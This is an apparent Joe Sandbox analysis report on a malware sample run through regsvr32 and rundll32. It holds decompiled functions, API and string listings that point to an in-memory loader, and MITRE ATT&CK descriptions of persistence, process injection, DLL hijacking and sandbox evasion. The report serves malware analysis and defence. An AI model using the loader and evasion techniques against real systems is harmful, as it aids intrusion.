Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$Mtx_guardMtx_guard::~_char_traits$EmptyQueue::Structured
String ID:
API String ID: 3922470843-0
Opcode ID: 4dd965a4b7583710b631a5fedce481fd092c87ca81ad6a4c948c4480f87ae1a4
Instruction ID: 93e838c49b675a3b067ccad4ebaf32ad976172cebb7c2e418c8e28106afb433b
Opcode Fuzzy Hash: 4dd965a4b7583710b631a5fedce481fd092c87ca81ad6a4c948c4480f87ae1a4
Instruction Fuzzy Hash: 3121DD32A1CB8681DA14DB56E89516EE770FBC5FC0F611036EB8E47B7ACE6DD9009B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1DF0 Relevance: 6.1, APIs: 4, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FFE7FFE354E1DF0(intOrPtr* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				void* _t43;
				intOrPtr* _t48;
				intOrPtr* _t50;
				signed long long _t53;
				intOrPtr* _t54;
				intOrPtr _t61;

				_t48 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E21F0(_t43, __rax, _a16, _a24);
				E00007FFE7FFE354E2400(_t43, __rax, _a16, _a24, _a32);
				_a32 = _t48;
				E00007FFE7FFE354E2170(_t48, _a8);
				_t61 =  *0x3555a228; // 0xffffffffffffffff
				_t50 = _t61 -  *_t48;
				if (_t50 - _a32 > 0) goto 0x354e1e5b;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170(_t50, _a8);
				_v40 =  *_t50 + _a32;
				if (_a32 <= 0) goto 0x354e1eef;
				r8d = 0;
				_t53 = E00007FFE7FFE354E22B0( *_t50 + _a32, _a8, _v40) & 0x000000ff;
				if (_t53 == 0) goto 0x354e1eef;
				E00007FFE7FFE354E18D0(_t53, _a16);
				_t54 = _t53 + _a24;
				_v24 = _t54;
				E00007FFE7FFE354E18F0(_t54, _a8);
				_v32 = _t54;
				E00007FFE7FFE354E2170(_t54, _a8);
				E00007FFE7FFE354E11E0(_v32 +  *_t54, _v24, _a32);
				return E00007FFE7FFE354E23A0(_v32 +  *_t54, _a8, _v40);
			}

0x7ffe354e1df0
0x7ffe354e1df0
0x7ffe354e1df5
0x7ffe354e1dfa
0x7ffe354e1dff
0x7ffe354e1e12
0x7ffe354e1e26
0x7ffe354e1e2b
0x7ffe354e1e35
0x7ffe354e1e3d
0x7ffe354e1e47
0x7ffe354e1e4f
0x7ffe354e1e56
0x7ffe354e1e60
0x7ffe354e1e6d
0x7ffe354e1e78
0x7ffe354e1e7a
0x7ffe354e1e8c
0x7ffe354e1e91
0x7ffe354e1e98
0x7ffe354e1e9d
0x7ffe354e1ea2
0x7ffe354e1eac
0x7ffe354e1eb1
0x7ffe354e1ebb
0x7ffe354e1edb
0x7ffe354e1ef8

APIs

Part of subcall function 00007FFE354E21F0: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E2217

Part of subcall function 00007FFE354E2170: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E217E

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E1E56
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1E98
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1EAC
char_traits.LIBCPMTD ref: 00007FFE354E1EDB

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityMtx_guardMtx_guard::~_Queue$EmptyQueue::Structuredchar_traits
String ID:
API String ID: 3679362534-0
Opcode ID: 980ae18186fb1950204f52d148c7e17274a98d6da8dd13de02d4ec76e85661ca
Instruction ID: df26c7d0041d39210c8c4dfc1ab0ae9fe88d497fa75100320fe38ea9ff37ac67
Opcode Fuzzy Hash: 980ae18186fb1950204f52d148c7e17274a98d6da8dd13de02d4ec76e85661ca
Instruction Fuzzy Hash: F221EB3261CB8681DA14DB56E89516EEB60FBC4FD0F101036FA8E47B7ACEBCD5509B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E9EE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00007FFE7FFE354E9EE0(void* __ecx, void* __rax, long long __rbx, void* __rcx, void* __r8, long long _a8, long long _a16, signed int _a24, char _a32) {
				long long _v56;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t30;
				void* _t40;
				void* _t41;
				long long* _t53;
				long long _t54;
				long long _t57;
				void* _t67;
				long long _t85;
				long long _t88;
				void* _t89;
				intOrPtr* _t90;
				void* _t94;
				void* _t97;
				void* _t99;

				_t97 = __r8;
				_t67 = __rcx;
				_a8 = __rbx;
				r14d = __ecx;
				if (__rcx == 0) goto 0x354ea053;
				_t2 = _t67 - 1; // -1
				_t53 = _t2;
				if (_t53 - 1 <= 0) goto 0x354e9f1e;
				E00007FFE7FFE354EB420(_t53);
				 *_t53 = 0x16;
				E00007FFE7FFE354E9744();
				goto 0x354ea053;
				E00007FFE7FFE354ED24C(_t40, _t41, 0x16, _t89, _t99);
				r8d = 0x104;
				E00007FFE7FFE354EC930(0x3555f3a0, 0, 0x3555f3a0, 0x16, _t89);
				_t90 =  *0x3555f788; // 0x4f32e0
				 *0x3555f768 = 0x3555f3a0;
				if (_t90 == 0) goto 0x354e9f52;
				if ( *_t90 != dil) goto 0x354e9f55;
				_t54 =  &_a32;
				_a24 = 0x16;
				_v56 = _t54;
				r8d = 0;
				_a32 = 0x16;
				_t30 = E00007FFE7FFE354E9CC0(0x3555f3a0, 0x3555f3a0, 0, 0x16, 0x3555f3a0, _t94, _t97,  &_a24);
				r8d = 1;
				E00007FFE7FFE354E9E80(_t30, _a24, _a32, _t97);
				if (_t54 != 0) goto 0x354e9fad;
				E00007FFE7FFE354EB420(_t54);
				E00007FFE7FFE354EA9DC(_t54, _a24);
				goto 0x354e9f17;
				_v56 =  &_a32;
				E00007FFE7FFE354E9CC0(0xc, 0x3555f3a0, 0xc, 0x16, 0x3555f3a0, _t94, _t54 + _a24 * 8,  &_a24);
				if (r14d != 1) goto 0x354e9fe5;
				_t57 = _a24 - 1;
				 *0x3555f778 = 0xc;
				 *0x3555f770 = _t57;
				goto 0x354ea04e;
				_a16 = 0x16;
				0x354ec80c();
				if (_t57 == 0) goto 0x354ea014;
				E00007FFE7FFE354EA9DC(_t57, _a16);
				_a16 = 0x16;
				E00007FFE7FFE354EA9DC(_t57, 0xc);
				_t88 = _t57;
				goto 0x354ea053;
				_t85 = _a16;
				if ( *_t85 == _t88) goto 0x354ea02f;
				if ( *((intOrPtr*)(_t85 + 8)) != _t88) goto 0x354ea023;
				 *0x3555f770 = _t88 + 1;
				_a16 = _t88;
				 *0x3555f778 = _t85;
				E00007FFE7FFE354EA9DC(_t85 + 8, 0);
				_a16 = _t88;
				return E00007FFE7FFE354EA9DC(_t85 + 8, 0xc);
			}

0x7ffe354e9ee0
0x7ffe354e9ee0
0x7ffe354e9ee0
0x7ffe354e9ef5
0x7ffe354e9efa
0x7ffe354e9f00
0x7ffe354e9f00
0x7ffe354e9f06
0x7ffe354e9f08
0x7ffe354e9f10
0x7ffe354e9f12
0x7ffe354e9f19
0x7ffe354e9f1e
0x7ffe354e9f2a
0x7ffe354e9f35
0x7ffe354e9f3a
0x7ffe354e9f41
0x7ffe354e9f4b
0x7ffe354e9f50
0x7ffe354e9f55
0x7ffe354e9f59
0x7ffe354e9f61
0x7ffe354e9f66
0x7ffe354e9f69
0x7ffe354e9f72
0x7ffe354e9f7b
0x7ffe354e9f88
0x7ffe354e9f93
0x7ffe354e9f95
0x7ffe354e9fa3
0x7ffe354e9fa8
0x7ffe354e9fbf
0x7ffe354e9fc4
0x7ffe354e9fcd
0x7ffe354e9fd2
0x7ffe354e9fd4
0x7ffe354e9fdb
0x7ffe354e9fe3
0x7ffe354e9fe9
0x7ffe354e9ff0
0x7ffe354e9ff9
0x7ffe354e9fff
0x7ffe354ea007
0x7ffe354ea00b
0x7ffe354ea010
0x7ffe354ea012
0x7ffe354ea014
0x7ffe354ea021
0x7ffe354ea02d
0x7ffe354ea02f
0x7ffe354ea037
0x7ffe354ea03b
0x7ffe354ea042
0x7ffe354ea04a
0x7ffe354ea065

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E9F12

Part of subcall function 00007FFE354EA9DC: RtlReleasePrivilege.NTDLL(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9F2
Part of subcall function 00007FFE354EA9DC: GetLastError.KERNEL32(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9FC

Strings

2O, xrefs: 00007FFE354E9F3A
C:\Windows\system32\regsvr32.exe, xrefs: 00007FFE354E9F23

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease_invalid_parameter_noinfo
String ID: C:\Windows\system32\regsvr32.exe$2O
API String ID: 112043736-672218803
Opcode ID: 16246848a7a02b741cf153f531fddaf81ee2883b8eee65fb2b8158dfa6600510
Instruction ID: 3764a4c48969be6c33599fa60bdca0e7b31552e60a47547758360c2ddf7a8640
Opcode Fuzzy Hash: 16246848a7a02b741cf153f531fddaf81ee2883b8eee65fb2b8158dfa6600510
Instruction Fuzzy Hash: D3416376A0871389EB19DF2694480BD7FA4EF84F94B664035ED4F47BA5DE3DE481A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F1004 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00007FFE7FFE354F1004(void* __edx, void* __edi, void* __rax, signed long long __rbx, long long* __rcx, long long __rbp, void* __r8, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				long long _v0;
				signed long long _v8;
				void* _t35;
				long _t38;
				short _t40;
				void* _t43;
				void* _t44;
				short* _t64;
				void* _t65;
				signed long long _t67;
				long long _t68;
				signed long long _t95;
				void* _t103;
				void* _t104;

				_a8 = __rbx;
				_a24 = __rbp;
				 *0x1DC0E80000149B =  *((intOrPtr*)(0x1dc0e80000149b)) + _t40;
				asm("loopne 0x4a");
				_a5176 =  *0x3555e008 ^ _t95;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t104 = _t103 + __r8;
				 *__rcx = 0;
				 *((long long*)(__rcx + 8)) = 0;
				if (__r8 - _t104 >= 0) goto 0x354f1145;
				if (__r8 - _t104 >= 0) goto 0x354f10ae;
				if (_t40 != 0xa) goto 0x354f109a;
				_t64 =  &_a40 + 2;
				 *_t64 = _t40;
				_t65 = _t64 + 2;
				if (_t65 -  &_a1744 < 0) goto 0x354f107c;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_t67 = _t65 -  &_a40 >> 1;
				_v8 =  &_a1752;
				r9d = _t35;
				asm("invalid");
				asm("invalid");
				if (_t67 == 0) goto 0x354f113d;
				if (_t67 == 0) goto 0x354f112d;
				_v8 = _v8 & 0x00000000;
				r8d = _t44;
				r8d = r8d - _t43;
				WriteFile(??, ??, ??, ??, ??);
				if (_t67 == 0) goto 0x354f113d;
				if (0 + _a24 - _t67 < 0) goto 0x354f10fa;
				_t68 = __r8 + 2;
				 *((long long*)(__rcx + 4)) = _t68;
				goto 0x354f1071;
				_t38 = GetLastError();
				 *__rcx = _t68;
				return E00007FFE7FFE354E3A70(_t38, _t40, __edx, _a5176 ^ _t95);
			}

0x7ffe354f1004
0x7ffe354f1009
0x7ffe354f101f
0x7ffe354f1022
0x7ffe354f102d
0x7ffe354f103e
0x7ffe354f104c
0x7ffe354f1050
0x7ffe354f1068
0x7ffe354f106e
0x7ffe354f1071
0x7ffe354f107f
0x7ffe354f108c
0x7ffe354f1097
0x7ffe354f109a
0x7ffe354f109d
0x7ffe354f10ac
0x7ffe354f10ae
0x7ffe354f10b9
0x7ffe354f10c7
0x7ffe354f10d7
0x7ffe354f10da
0x7ffe354f10df
0x7ffe354f10eb
0x7ffe354f10ec
0x7ffe354f10f2
0x7ffe354f10f8
0x7ffe354f10fa
0x7ffe354f110f
0x7ffe354f1118
0x7ffe354f111b
0x7ffe354f1123
0x7ffe354f112b
0x7ffe354f112d
0x7ffe354f1132
0x7ffe354f1138
0x7ffe354f113d
0x7ffe354f1143
0x7ffe354f1173

APIs

WriteFile.KERNEL32 ref: 00007FFE354F111B
GetLastError.KERNEL32 ref: 00007FFE354F113D

Strings

U, xrefs: 00007FFE354F10C7

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f98079f3c4aa1eb608d226a3e204fe1cd29820aa8a2509467dcded0e9b762ee9
Instruction ID: a113fcd11afc83e0556910f979f801d5ede31abddbb81aed1d65f7f83f978938
Opcode Fuzzy Hash: f98079f3c4aa1eb608d226a3e204fe1cd29820aa8a2509467dcded0e9b762ee9
Instruction Fuzzy Hash: 7241B632718B8695DB208F29E4483A96BA0FB88F94F814031EE4E87768DF3CE441D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F2EB4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FFE7FFE354F2EB4(long long* __rcx) {
				void* __rbx;
				void* _t3;
				void* _t7;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t13;

				_t3 = E00007FFE7FFE354E6B4C(_t7, __rcx, __rcx, _t10, _t11, _t12, _t13);
				if (( *(__rcx + 4) & 0x00000066) != 0) goto 0x354f2ed5;
				if ( *__rcx != 0xe06d7363) goto 0x354f2ed5;
				if (_t7 == 1) goto 0x354f2edb;
				return _t3;
			}

0x7ffe354f2ebd
0x7ffe354f2ec6
0x7ffe354f2ece
0x7ffe354f2ed3
0x7ffe354f2eda

APIs

__C_specific_handler.LIBVCRUNTIME ref: 00007FFE354F2EBD

Part of subcall function 00007FFE354E6B4C: _IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE354E6C0C
Part of subcall function 00007FFE354E6B4C: RtlUnwindEx.KERNEL32 ref: 00007FFE354E6C5B

Strings

csm, xrefs: 00007FFE354F2EC8
f, xrefs: 00007FFE354F2EC2

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: C_specific_handlerCurrentImageNonwritableUnwind
String ID: csm$f
API String ID: 1396615161-629598281
Opcode ID: 8a5be923c7cc1b99aa4a0096ba3a69dd8979e15323e2be363a2fe093e1ce8b04
Instruction ID: 5378e4bcedd4ad5b212357b689ad996cd827f05e27c2a8839a35d2ea546a5cfe
Opcode Fuzzy Hash: 8a5be923c7cc1b99aa4a0096ba3a69dd8979e15323e2be363a2fe093e1ce8b04
Instruction Fuzzy Hash: BDD05E71C0C34745FB3D2565144D2781D904F1CF25E6A8430CE29043A66E1D98D06601

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F3ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FFE354F3F22
RegisterClassExW.USER32 ref: 00007FFE354F3F59

Strings

P, xrefs: 00007FFE354F3ED9

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: P
API String ID: 1693014935-3110715001
Opcode ID: 29bdbaf3f29e2b1f60e2da6c671781d039cfe66c367808efb662ff8ab2e4e8d5
Instruction ID: 9d2ae4942a0f05d4031b96dba14214472d097f6043fbba00e1e3aadf3f36bdca
Opcode Fuzzy Hash: 29bdbaf3f29e2b1f60e2da6c671781d039cfe66c367808efb662ff8ab2e4e8d5
Instruction Fuzzy Hash: D501B276519B8196E7608F00F89831BBBB4F788B48F600129E6CD46BA8DFBDD158CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E472C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354E472C(void* __eflags, void* __rax) {
				char _v40;
				void* _t6;
				void* _t11;
				void* _t12;
				char* _t14;
				void* _t16;

				E00007FFE7FFE354E45C0(__rax,  &_v40);
				_t14 =  &_v40;
				_t6 = E00007FFE7FFE354E6E00(_t12, _t14, 0x3555cbd8, _t16);
				asm("int3");
				_t11 =  !=  ?  *((void*)(_t14 + 8)) : "Unknown exception";
				return _t6;
			}

0x7ffe354e4735
0x7ffe354e4741
0x7ffe354e4746
0x7ffe354e474b
0x7ffe354e4758
0x7ffe354e475d

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE354E4735
_CxxThrowException.LIBVCRUNTIME ref: 00007FFE354E4746

Part of subcall function 00007FFE354E6E00: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFE354E472B), ref: 00007FFE354E6E7D
Part of subcall function 00007FFE354E6E00: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFE354E472B), ref: 00007FFE354E6EBC

Strings

Unknown exception, xrefs: 00007FFE354E4751

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 245809459ad59a2729b59716ed244728fe2af4985c2eaed7b011566377c0e5b0
Instruction ID: 9a4d2991e69bdc31a8ba49457e394344dfadc0dce957ecad3eb24359ac86e941
Opcode Fuzzy Hash: 245809459ad59a2729b59716ed244728fe2af4985c2eaed7b011566377c0e5b0
Instruction Fuzzy Hash: 92D05E32A18B87A1DE10DB04E8883A86731FB80F0CFE04431D24E426B1DF6CE64AE340

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 3872, Parent PID: 4120COMMON

Execution Graph

Execution Coverage:	12.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	46
Total number of Limit Nodes:	2

Executed Functions

Function 0000020F1C560000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE ref: 0000020F1C560344
VirtualAlloc.KERNELBASE ref: 0000020F1C56038A
VirtualProtect.KERNELBASE ref: 0000020F1C56085C
RtlAddFunctionTable.KERNEL32 ref: 0000020F1C5608E9

Strings

ualP, xrefs: 0000020F1C5600CD
Virt, xrefs: 0000020F1C5600C5
truc, xrefs: 0000020F1C5600F2
tion, xrefs: 0000020F1C5600F9
eSys, xrefs: 0000020F1C560117
rote, xrefs: 0000020F1C5600D5
Flus, xrefs: 0000020F1C5600E4
onTa, xrefs: 0000020F1C560148
aryA, xrefs: 0000020F1C5600A5
RtlA, xrefs: 0000020F1C560133
o, xrefs: 0000020F1C56012E
nf, xrefs: 0000020F1C560127
lloc, xrefs: 0000020F1C5600BD
temI, xrefs: 0000020F1C56011F
Load, xrefs: 0000020F1C560095
Libr, xrefs: 0000020F1C56009D
GetN, xrefs: 0000020F1C560107
Virt, xrefs: 0000020F1C5600AD
ativ, xrefs: 0000020F1C56010F
ualA, xrefs: 0000020F1C5600B5
ddFu, xrefs: 0000020F1C56013A
Slee, xrefs: 0000020F1C560084
ct, xrefs: 0000020F1C5600DD
ncti, xrefs: 0000020F1C560141
Cach, xrefs: 0000020F1C560100
hIns, xrefs: 0000020F1C5600EB

Memory Dump Source

Source File: 00000004.00000002.255840541.0000020F1C560000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020F1C560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20f1c560000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFunctionInfoNativeProtectSystemTable
String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
API String ID: 998211078-3605381585
Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction ID: a7430612e4034dda08a91ac0ffd7cbc36f14b9039e933037b10f877d5b87a9f7
Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction Fuzzy Hash: 8562D230658B188BD769DF18C9897AAB7F1FB94301F14462DE4CAC7652DB34E442CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800284B0 Relevance: 1.6, APIs: 1, Instructions: 121
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 000000018002867E

Memory Dump Source

Source File: 00000004.00000002.253841528.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 16f61cbd6d489d93c3999831aad5c05b50de217028ac9f2dcc58791474f8e422
Instruction ID: b9dfd44ec2654d149dbfc67a3d285e1c446cc2681133f70a5a1c8efdf6c35088
Opcode Fuzzy Hash: 16f61cbd6d489d93c3999831aad5c05b50de217028ac9f2dcc58791474f8e422
Instruction Fuzzy Hash: 59415D7090C7848FE7B8DF18D48979ABBE0FB88315F108A1EE48DC7291DB349448CB46

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

